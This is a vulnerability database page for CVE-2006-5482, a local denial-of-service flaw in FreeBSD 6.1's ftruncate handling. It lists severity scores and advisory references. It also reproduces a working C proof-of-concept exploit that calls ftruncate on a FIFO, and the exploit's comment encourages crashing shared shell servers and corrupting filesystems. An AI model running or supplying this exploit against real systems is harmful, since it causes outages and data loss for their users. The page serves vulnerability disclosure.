CVE-2006-5482 : Detail

CVE-2006-5482

0.04%V3
Local
2006-10-24
22h00 +00:00
2024-09-16
18h14 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

ufs_vnops.c in FreeBSD 6.1 allows local users to cause an unspecified denial of service by calling the ftruncate function on a file type that is not VREG, VLNK or VDIR, which is not defined in POSIX.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 2541

Publication date : 2006-10-12 22h00 +00:00
Author : kokanin
EDB Verified : Yes

/* FreeBSD cvs commit: src/sys/ufs/ufs/ufs_vnops.c maxim 2006-05-31 13:15:29 UTC Log: According to POSIX, the result of ftruncate(2) is unspecified for file types other than VREG, VDIR and shared memory objects. We already handle VREG, VLNK and VDIR cases. Silently ignore truncate requests for all the rest. PR kern/98064 lol lol, thatz true. kokanin@gmail lolling it out in '06 !"#%&%(20061013)(="#"! tested on FreeBSD 6.0-RELEASE-p5, 6.1-RELEASE-p10 (latest at the time of writing) - it just makes the system reboot, and with a bit of luck fucks up the filesystem. wow, that sort of makes this 0day local freebsd denial of service for non-CURRENT or whatever. usage: ./run me and wait a moment.. woo, it's friday the 13th, go crash some shell providers. */ #include <fcntl.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> int main(){ mkfifo("lol",0x1b6); int fd = open("lol",O_RDWR); ftruncate(fd,12345); close(fd); } // milw0rm.com [2006-10-13]

Products Mentioned

Configuraton 0

Freebsd>>Freebsd >> Version 6.1

References

http://secunia.com/advisories/22413
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/20522
Tags : vdb-entry, x_refsource_BID